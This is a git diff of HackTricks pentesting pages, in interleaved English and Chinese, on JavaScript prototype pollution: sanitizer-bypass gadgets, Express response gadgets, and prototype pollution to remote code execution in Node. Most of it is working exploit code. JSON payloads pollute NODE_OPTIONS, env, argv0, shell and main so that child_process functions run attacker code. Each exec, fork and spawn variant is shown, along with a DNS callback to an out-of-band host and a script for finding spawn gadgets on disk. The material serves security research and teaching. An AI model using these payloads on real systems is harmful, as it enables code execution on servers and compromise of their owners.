### 示例 在 Mithil 库代码中找到 PP 小工具
Check this writeup: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
查看此写作: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/](https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/)
## Recompilation of payloads for vulnerable libraries
## 针对易受攻击库的有效负载重新编译
- [https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#prototype-pollution)
- [https://github.com/BlackFan/client-side-prototype-pollution](https://github.com/BlackFan/client-side-prototype-pollution)
## HTML Sanitizers bypass via PP
## 通过 PP 绕过 HTML 清理器
[**This research**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) shows PP gadgets to use to **bypass the sanizations** provided by some HTML sanitizers libraries:
[**这项研究**](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/) 显示了用于 **绕过某些 HTML 清理器库提供的清理** 的 PP 小工具:
- **sanitize-html**
@ -84,34 +80,31 @@ Check this writeup: [https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challe
<figure><img src="../../../images/image (1141).png" alt="https://research.securitum.com/wp-content/uploads/sites/2/2020/08/image-9.png"><figcaption></figcaption></figure>
- **Closure**
```html
<!-- from https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/ -->
<script>
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
Object.prototype['* ONERROR'] = 1;
Object.prototype['* SRC'] = 1;
</script>
<script src=https://google.github.io/closure-library/source/closure/goog/base.js></script>
<script>
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
goog.require('goog.html.sanitizer.HtmlSanitizer');
goog.require('goog.dom');
</script>
<body>
<script>
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
const html = '<img src onerror=alert(1)>';
const sanitizer = new goog.html.sanitizer.HtmlSanitizer();
const sanitized = sanitizer.sanitize(html);
const node = goog.dom.safeHtmlToNode(sanitized);
document.body.append(node);
document.body.append(node);
</script>
```
## References
## 参考文献
- [https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746](https://infosecwriteups.com/hunting-for-prototype-pollution-and-its-vulnerable-code-on-js-libraries-5bab2d6dc746)
- [https://blog.s1r1us.ninja/research/PP](https://blog.s1r1us.ninja/research/PP)
- [https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/#:\~:text=my%20challenge.-,Closure,-Closure%20Sanitizer%20has](https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,69 +1,56 @@
# Express Prototype Pollution Gadgets
# Express 原型污染工具
{{#include ../../../banners/hacktricks-training.md}}
## Serve XSS responses
## 提供 XSS 响应
**For further details** [**take a look to the original reserach**](https://portswigger.net/research/server-side-prototype-pollution)
**有关更多详细信息** [**请查看原始研究**](https://portswigger.net/research/server-side-prototype-pollution)
### Change JSON content-type to HTML
In an Express app using a **JSON content type response** and reflecting a JSON:
### 将 JSON 内容类型更改为 HTML
在使用 **JSON 内容类型响应** 的 Express 应用中,反射一个 JSON
```javascript
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
_.merge({}, req.body)
res.send(req.body)
})
```
In these cases XSS isn't normally possible with a JSON content type. However, with prototype pollution we can **confuse Express to serve up an HTML response.** This vulnerability relies on the application using **`res.send(obj)`** and using the body parser with the application/json content type.
在这些情况下XSS 通常不可能与 JSON 内容类型一起使用。然而,通过原型污染,我们可以 **混淆 Express 以提供 HTML 响应。** 这个漏洞依赖于应用程序使用 **`res.send(obj)`** 并使用应用程序/json 内容类型的主体解析器。
```json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
```
通过**污染** **`body`** 和 **`_body`** 属性,可以导致 **Express 提供 HTML 内容类型** 并反射 `_body` 属性,从而导致存储型 XSS。
By **polluting** **`body`** and **`_body`** properties, it's possible to cause **Express to serve up the HTML content type** and reflect the `_body` property, resulting in stored XSS.
### Render UTF7
It's possible to make express **render UTF-7 content with**:
### 渲染 UTF7
可以使 express **渲染 UTF-7 内容**
```json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
```
## 安全扫描技术
## Safe Scanning Techinques
### JSON spaces
The following PP will make attributes inside a JSON to have an extra space which won't break the functionality:
### JSON 空格
以下 PP 将使 JSON 内的属性具有额外的空格,这不会破坏功能:
```json
{ "__proto__": { "json spaces": " " } }
```
Then a reflected JSON will looks like:
然后反射的 JSON 看起来像:
```json
{"foo": "bar"} -- Note the extra space
```
### 暴露的头部
### Exposed Headers
The following PP gadget will make the server send back the HTTP header: **`Access-Control-Expose_headers: foo`**
以下 PP 小工具将使服务器返回 HTTP 头部:**`Access-Control-Expose_headers: foo`**
```json
{ "__proto__": { "exposedHeaders": ["foo"] } }
```
它需要安装 **CORS 模块**
It requires the **CORS module to be installed**
### **OPTIONS Method**
With the following payload, it's possible to **hide a method from an OPTIONS response**:
### **OPTIONS 方法**
使用以下有效载荷,可以 **从 OPTIONS 响应中隐藏一个方法**
```javascript
// Original reponse: POST,GET,HEAD
@ -72,57 +59,45 @@ With the following payload, it's possible to **hide a method from an OPTIONS res
//New response: POST;GET
```
### **状态**
### **Status**
It's possible to change the **returned status code** using the following PP payload:
可以使用以下 PP 有效负载更改 **返回状态代码**
```json
{ "__proto__": { "status": 510 } }
```
### 错误
### Error
When you assign to a prototype with a primitive such as a string, it produces a **no-op operation since the prototype has to be an object**. If you attempt to assign a prototype object to the `Object.prototype` itself, this will **throw an exception**. We can use these two behaviours to **detect if prototype pollution was successful**:
当你用一个原始值(如字符串)赋值给原型时,它会产生一个 **无操作,因为原型必须是一个对象**。如果你尝试将一个原型对象赋值给 `Object.prototype` 本身,这将 **抛出一个异常**。我们可以利用这两种行为来 **检测原型污染是否成功**
```javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
```
### 反射值
### Reflected Value
When an application includes an object in its response, creating an attribute with an **unusual name alongside `__proto__`** can be insightful. Specifically, if **only the unusual attribute is returned** in the response, this could indicate the application's vulnerability:
当一个应用程序在其响应中包含一个对象时,创建一个带有 **不寻常名称的属性以及 `__proto__`** 可能会很有启发性。具体来说,如果 **仅返回不寻常的属性** 在响应中,这可能表明应用程序的漏洞:
```json
{ "unusualName": "value", "__proto__": "test" }
```
Moreover, in scenarios where a library like Lodash is employed, setting a property both via prototype pollution (PP) and directly inside the object offers another diagnostic approach. If such a property is omitted from the response, it suggests that Lodash is verifying the existence of the property in the target object before merging:
此外,在使用像 Lodash 这样的库的场景中,通过原型污染 (PP) 和直接在对象内部设置属性提供了另一种诊断方法。如果这样的属性在响应中被省略,这表明 Lodash 在合并之前正在验证目标对象中属性的存在性:
```javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
```
## Misc
### Allow Dots
There is an option in Express that allows you to **create objects from query string parameters**.\
You could definitely use it in a bug **chain** to exploit a **prototype pollution vulnerability**.
### 允许点
在 Express 中有一个选项,可以让你 **从查询字符串参数创建对象**。\
你可以在一个漏洞 **链** 中使用它来利用 **原型污染漏洞**
```json
{ "__proto__": { "allowDots": true } }
```
**`?foo.bar=baz` 在 Node 中创建一个对象。**
**`?foo.bar=baz` create an object in Node.**
## References
## 参考
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,33 +1,32 @@
# Prototype Pollution to RCE
# 原型污染到 RCE
{{#include ../../../banners/hacktricks-training.md}}
## Vulnerable Code
Imagine a real JS using some code like the following one:
## 易受攻击的代码
想象一下一个真实的 JS 使用以下代码:
```javascript
const { execSync, fork } = require("child_process")
function isObject(obj) {
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
console.log(typeof obj)
return typeof obj === "function" || typeof obj === "object"
}
// Function vulnerable to prototype pollution
function merge(target, source) {
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
for (let key in source) {
if (isObject(target[key]) && isObject(source[key])) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
return target
}
function clone(target) {
return merge({}, target)
return merge({}, target)
}
// Run prototype pollution with user input
@ -38,13 +37,11 @@ clone(USERINPUT)
// Create an a_file.js file in the current dir: `echo a=2 > a_file.js`
var proc = fork("a_file.js")
```
## PP2RCE 通过环境变量
## PP2RCE via env vars
**PP2RCE** means **Prototype Pollution to RCE** (Remote Code Execution).
According to this [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/) when a **process is spawned** with some method from **`child_process`** (like `fork` or `spawn` or others) it calls the method `normalizeSpawnArguments` which a **prototype pollution gadget to create new env vars**:
**PP2RCE** 意味着 **原型污染到 RCE**(远程代码执行)。
根据这个 [**writeup**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/),当一个 **进程被生成** 时,使用 **`child_process`** 中的某些方法(如 `fork``spawn` 或其他)会调用方法 `normalizeSpawnArguments`,这是一个 **原型污染工具,用于创建新的环境变量**
```javascript
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
@ -54,36 +51,34 @@ var envPairs = [];
let envKeys = [];
// Prototype values are intentionally included.
for (const key in env) {
ArrayPrototypePush(envKeys, key);
ArrayPrototypePush(envKeys, key);
}
[...]
for (const key of envKeys) {
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
const value = env[key];
if (value !== undefined) {
ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
检查代码,你可以看到通过**污染**属性**`.env`**可以**毒害 `envPairs`**。
Check that code you can see it's possible en **poison `envPairs`** just by **polluting** the **attribute `.env`.**
### **Poisoning `__proto__`**
### **毒害 `__proto__`**
> [!WARNING]
> Note that due to how the **`normalizeSpawnArguments`** function from the **`child_process`** library of node works, when something is called in order to **set a new env variable** for the process you just need to **pollute anything**.\
> For example, if you do `__proto__.avar="valuevar"` the process will be spawned with a var called `avar` with value `valuevar`.
> 请注意,由于**`child_process`**库中的**`normalizeSpawnArguments`**函数的工作方式,当调用某个函数以**设置新的环境变量**时,你只需要**污染任何东西**。\
> 例如,如果你执行`__proto__.avar="valuevar"`,进程将以名为`avar`且值为`valuevar`的变量启动。
>
> However, in order for the **env variable to be the first one** you need to **pollute** the **`.env` attribute** and (only in some methods) that var will be the **first one** (allowing the attack).
> 然而,为了使**环境变量成为第一个**,你需要**污染****`.env`属性**,并且(仅在某些方法中)该变量将是**第一个**(允许攻击)。
>
> That's why **`NODE_OPTIONS`** is **not inside `.env`** in the following attack.
> 这就是为什么在以下攻击中**`NODE_OPTIONS`**不在**`.env`**中的原因。
```javascript
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
@ -93,7 +88,7 @@ var proc = fork("./a_file.js")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce\\").toString())//"}}}'
)
clone(USERINPUT)
@ -101,16 +96,14 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
### Poisoning `constructor.prototype`
### 污染 `constructor.prototype`
```javascript
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.constructor.prototype.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//",
}
b.constructor.prototype.NODE_OPTIONS = "--require /proc/self/environ"
@ -119,7 +112,7 @@ proc = fork("a_file.js")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
'{"constructor": {"prototype": {"NODE_OPTIONS": "--require /proc/self/environ", "env": { "EVIL":"console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}}}'
)
clone(USERINPUT)
@ -127,21 +120,19 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec2
```
## PP2RCE 通过环境变量 + 命令行
## PP2RCE via env vars + cmdline
A similar payload to the previous one with some changes was proposed in [**this writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** The main differences are:
- Instead of storing the nodejs **payload** inside the file `/proc/self/environ`, it stores it i**nside argv0** of **`/proc/self/cmdline`**.
- Then, instead of requiring via **`NODE_OPTIONS`** the file `/proc/self/environ`, it **requires `/proc/self/cmdline`**.
一个与之前类似的有效载荷经过一些更改后在 [**这篇文章**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**中提出**。主要区别如下:
- 它不是将 nodejs **有效载荷** 存储在文件 `/proc/self/environ` 中,而是存储在 **`/proc/self/cmdline`** 的 **argv0** 中。
- 然后,它不是通过 **`NODE_OPTIONS`** 要求文件 `/proc/self/environ`,而是 **要求 `/proc/self/cmdline`**
```javascript
const { execSync, fork } = require("child_process")
// Manual Pollution
b = {}
b.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
"console.log(require('child_process').execSync('touch /tmp/pp2rce2').toString())//"
b.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
// Trigger gadget
@ -150,7 +141,7 @@ var proc = fork("./a_file.js")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
'{"__proto__": {"NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce2\\").toString())//"}}'
)
clone(USERINPUT)
@ -158,41 +149,35 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
## DNS 交互
## DNS Interaction
Using the following payloads it's possible to abuse the NODE_OPTIONS env var we have discussed previously and detect if it worked with a DNS interaction:
使用以下有效负载,可以滥用我们之前讨论过的 NODE_OPTIONS 环境变量,并通过 DNS 交互检测其是否有效:
```json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id.oastify.com"
}
}
```
Or, to avoid WAFs asking for the domain:
或者,为了避免 WAF 询问域名:
```json
{
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
"__proto__": {
"argv0": "node",
"shell": "node",
"NODE_OPTIONS": "--inspect=id\"\".oastify\"\".com"
}
}
```
## PP2RCE 漏洞 child_process 函数
## PP2RCE vuln child_process functions
In this section where are going to analyse **each function from `child_process`** to execute code and see if we can use any technique to force that function to execute code:
在本节中,我们将分析 **`child_process` 中的每个函数** 以执行代码,并查看我们是否可以使用任何技术强制该函数执行代码:
<details>
<summary><code>exec</code> exploitation</summary>
<summary><code>exec</code> 利用</summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
@ -204,7 +189,7 @@ const { exec } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/exec-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = exec("something")
@ -218,13 +203,11 @@ p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = exec("something")
```
</details>
<details>
<summary><strong><code>execFile</code> exploitation</strong></summary>
<summary><strong><code>execFile</code> 利用</strong></summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .en attr to create a first env var
@ -235,7 +218,7 @@ const { execFile } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/execFile-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFile("/usr/bin/node")
@ -244,25 +227,23 @@ var proc = execFile("/usr/bin/node")
// Windows - not working
```
为了使 **`execFile`** 工作,它 **必须执行 node** 才能使 NODE_OPTIONS 生效。\
如果它 **没有** 执行 **node**,你需要找到如何 **通过环境变量** **更改执行** 的内容并设置它们。
For **`execFile`** to work it **MUST execute node** for the NODE_OPTIONS to work.\
If it's **not** executing **node**, you need to find how you could **alter the execution** of whatever it's executing **with environment variables** and set them.
The **other** techniques **work** without this requirement because it's **possible to modify** **what is executed** via prototype pollution. (In this case, even if you can pollute `.shell`, you won't pollute that is being executed).
**其他** 技术 **在** 没有此要求的情况下 **工作**,因为 **可以通过** 原型污染 **修改** **被执行的内容**。 (在这种情况下,即使你可以污染 `.shell`,你也不会污染正在执行的内容)。
</details>
<details>
<summary><code>fork</code> exploitation</summary>
<summary><code>fork</code> 利用</summary>
```javascript
// environ trick - working
// Working after kEmptyObject (fix)
const { fork } = require("child_process")
b = {}
b.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/fork-environ').toString())//",
}
b.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = fork("something")
@ -272,7 +253,7 @@ var proc = fork("something")
const { fork } = require("child_process")
p = {}
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/fork-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = fork("something")
@ -296,13 +277,11 @@ b = {}
b.__proto__.execPath = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = fork("./a_file.js")
```
</details>
<details>
<summary><strong><code>spawn</code> exploitation</strong></summary>
<summary><strong><code>spawn</code> 利用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
@ -312,7 +291,7 @@ p = {}
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawn-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawn("something")
@ -324,7 +303,7 @@ const { spawn } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/spawn-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
@ -340,13 +319,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawn("something")
//var proc = spawn('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
```
</details>
<details>
<summary><strong><code>execFileSync</code> exploitation</strong></summary>
<summary><strong><code>execFileSync</code> 利用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
@ -356,7 +333,7 @@ p = {}
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/execFileSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execFileSync("something")
@ -367,7 +344,7 @@ const { execFileSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/execFileSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execFileSync("something")
@ -388,13 +365,11 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
p.__proto__.argv0 = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
```
</details>
<details>
<summary><strong><code>execSync</code> exploitation</strong></summary>
<summary><strong><code>execSync</code> 利用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// Working after kEmptyObject (fix)
@ -404,7 +379,7 @@ p = {}
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/execSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = execSync("something")
@ -415,7 +390,7 @@ const { execSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/execSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = execSync("something")
@ -435,13 +410,11 @@ p = {}
p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = execSync("something")
```
</details>
<details>
<summary><strong><code>spawnSync</code> exploitation</strong></summary>
<summary><strong><code>spawnSync</code> 利用</strong></summary>
```javascript
// environ trick - working with small variation (shell and argv0)
// NOT working after kEmptyObject (fix) without options
@ -451,7 +424,7 @@ p = {}
p.__proto__.argv0 = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.env = {
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
EVIL: "console.log(require('child_process').execSync('touch /tmp/spawnSync-environ').toString())//",
}
p.__proto__.NODE_OPTIONS = "--require /proc/self/environ"
var proc = spawnSync("something")
@ -463,7 +436,7 @@ const { spawnSync } = require("child_process")
p = {}
p.__proto__.shell = "/proc/self/exe" //You need to make sure the node executable is executed
p.__proto__.argv0 =
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
"console.log(require('child_process').execSync('touch /tmp/spawnSync-cmdline').toString())//"
p.__proto__.NODE_OPTIONS = "--require /proc/self/cmdline"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"/tmp"}); //To work after kEmptyObject (fix)
@ -486,34 +459,31 @@ p.__proto__.shell = "\\\\127.0.0.1\\C$\\Windows\\System32\\calc.exe"
var proc = spawnSync("something")
//var proc = spawnSync('something',[],{"cwd":"C:\\"}); //To work after kEmptyObject (fix)
```
</details>
## Forcing Spawn
## 强制生成
In the previous examples you saw how to trigger the gadget a functionality that **calls `spawn`** needs to be **present** (all methods of **`child_process`** used to execute something calls it). In the previous example that was **part of the the code**, but what if the code **isn't** calling it.
在之前的示例中,您看到如何触发小工具,功能需要**调用 `spawn`**的功能**存在**(所有用于执行某些操作的**`child_process`**方法都会调用它)。在之前的示例中,这是**代码的一部分**,但如果代码**没有**调用它呢?
### Controlling a require file path
### 控制 require 文件路径
In this [**other writeup**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) the user can control the file path were a **`require`** will be executed. In that scenario the attacker just needs to **find a `.js` file inside the system** that will **execute a spawn method when imported.**\
Some examples of common files calling a spawn function when imported are:
在这个 [**其他写作**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) 中,用户可以控制将执行**`require`**的文件路径。在这种情况下,攻击者只需**找到系统中的一个 `.js` 文件**,该文件在导入时会**执行一个 spawn 方法。**\
一些常见的在导入时调用 spawn 函数的文件示例包括:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
- Find **more files below**
The following simple script will search for **calls** from **child_process** **without any padding** (to avoid showing calls inside functions):
- 在下面**找到更多文件**
以下简单脚本将搜索**来自**`child_process`**的调用****没有任何填充**(以避免显示函数内部的调用):
```bash
find / -name "*.js" -type f -exec grep -l "child_process" {} \; 2>/dev/null | while read file_path; do
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
grep --with-filename -nE "^[a-zA-Z].*(exec\(|execFile\(|fork\(|spawn\(|execFileSync\(|execSync\(|spawnSync\()" "$file_path" | grep -v "require(" | grep -v "function " | grep -v "util.deprecate" | sed -E 's/.{255,}.*//'
done
# Note that this way of finding child_process executions just importing might not find valid scripts as functions called in the root containing child_process calls won't be found.
```
<details>
<summary>Interesting files found by previous script</summary>
<summary>之前脚本发现的有趣文件</summary>
- node_modules/buffer/bin/**download-node-tests.js**:17:`cp.execSync('rm -rf node/*.js', { cwd: path.join(__dirname, '../test') })`
- node_modules/buffer/bin/**test.js**:10:`var node = cp.spawn('npm', ['run', 'test-node'], { stdio: 'inherit' })`
@ -527,27 +497,26 @@ done
</details>
### Setting require file path via prototype pollution
### 通过原型污染设置 require 文件路径
> [!WARNING]
> The **previous technique requires** that the **user controls the path of the file** that is going to be **required**. But this is not always true.
> **之前的技术要求** **用户控制将要被 require 的文件路径**。但这并不总是正确的。
However, if the code is going to execute a require after the prototype pollution, even if you **don't control the path** that is going to be require, you **can force a different one abusing propotype pollution**. So even if the code line is like `require("./a_file.js")` or `require("bytes")` it will **require the package you polluted**.
然而,如果代码在原型污染后执行 require即使你 **不控制将要被 require 的路径**,你 **可以通过滥用原型污染强制使用不同的路径**。因此,即使代码行是 `require("./a_file.js")``require("bytes")`,它将 **require 你污染的包**
Therefore, if a require is executed after your prototype pollution and no spawn function, this is the attack:
因此,如果在你的原型污染后执行了 require 并且没有 spawn 函数,这就是攻击:
- Find a **`.js` file inside the system** that when **required** will **execute something using `child_process`**
- If you can upload files to the platform you are attacking you might upload a file like that
- Pollute the paths to **force the require load of the `.js` file** that will execute something with child_process
- **Pollute the environ/cmdline** to execute arbitrary code when a child_process execution function is called (see the initial techniques)
- 找到一个 **系统内的 `.js` 文件**,当 **被 require 时** 将 **使用 `child_process` 执行某些操作**
- 如果你可以向你攻击的平台上传文件,你可以上传这样的文件
- 污染路径以 **强制 require 加载将使用 child_process 执行某些操作的 `.js` 文件**
- **污染环境/命令行** 以在调用 child_process 执行函数时执行任意代码(参见初始技术)
#### Absolute require
#### 绝对 require
If the performed require is **absolute** (`require("bytes")`) and the **package doesn't contain main** in the `package.json` file, you can **pollute the `main` attribute** and make the **require execute a different file**.
如果执行的 require 是 **绝对的** (`require("bytes")`),并且 **包在 `package.json` 文件中不包含 main**,你可以 **污染 `main` 属性** 并使 **require 执行不同的文件**
{{#tabs}}
{{#tab name="exploit"}}
```javascript
// Create a file called malicious.js in /tmp
// Contents of malicious.js in the other tab
@ -566,7 +535,7 @@ var proc = require("bytes")
// Abusing the vulnerable code
USERINPUT = JSON.parse(
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
'{"__proto__": {"main": "/tmp/malicious.js", "NODE_OPTIONS": "--require /proc/self/cmdline", "argv0": "console.log(require(\\"child_process\\").execSync(\\"touch /tmp/pp2rce_absolute\\").toString())//"}}'
)
clone(USERINPUT)
@ -574,27 +543,23 @@ clone(USERINPUT)
var proc = require("bytes")
// This should execute the file /tmp/malicious.js wich create the file /tmp/pp2rec
```
{{#endtab}}
{{#tab name="malicious.js"}}
```javascript
const { fork } = require("child_process")
console.log("Hellooo from malicious")
fork("anything")
```
{{#endtab}}
{{#endtabs}}
#### Relative require - 1
#### 相对 require - 1
If a **relative path** is loaded instead of an absolute path, you can make node **load a different path**:
如果加载的是 **相对路径** 而不是绝对路径,您可以使 node **加载不同的路径**
{{#tabs}}
